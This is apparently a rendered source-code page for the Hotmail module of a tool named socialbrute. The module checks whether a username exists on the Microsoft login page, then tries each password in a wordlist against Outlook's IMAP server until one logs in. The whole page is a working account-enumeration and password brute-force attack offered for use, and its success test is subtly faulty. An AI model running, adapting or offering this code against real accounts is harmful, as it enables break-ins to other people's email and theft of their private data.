Source code for socialbrute.modules.hotmail

import time
import imaplib


[docs]class Hotmail: def __init__(self, browser): self.browser = browser
[docs] def set_config(self, username, wordlist, delay): self.username = username self.name = '' self.host = 'imap-mail.outlook.com' self.port = 993 self.wordlist = wordlist self.delay = delay
[docs] def check_user(self): self.browser.driver.get('https://login.live.com/login.srf') try: input = self.browser.driver.find_element_by_name('loginfmt') #input = self.browser.driver.find_element_by_id('i0116') input.clear() input.send_keys(self.username) self.browser.driver.find_element_by_id('idSIButton9').click() err = self.browser.wait_until_element_exists('id', 'usernameError') if err: return False except BaseException: self.name = 'Not found' return True
[docs] def crack(self): passwords = [] found = '' with open(self.wordlist, 'r') as f: for line in f: passwords.append(line.strip('\n')) IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) for password in passwords: try: session = IMAP4.login(self.username, password) if (session == 'OK' or 'AUTHENTICATE completed'): found = password break except IMAP4.error: pass time.sleep(self.delay) IMAP4.logout() return found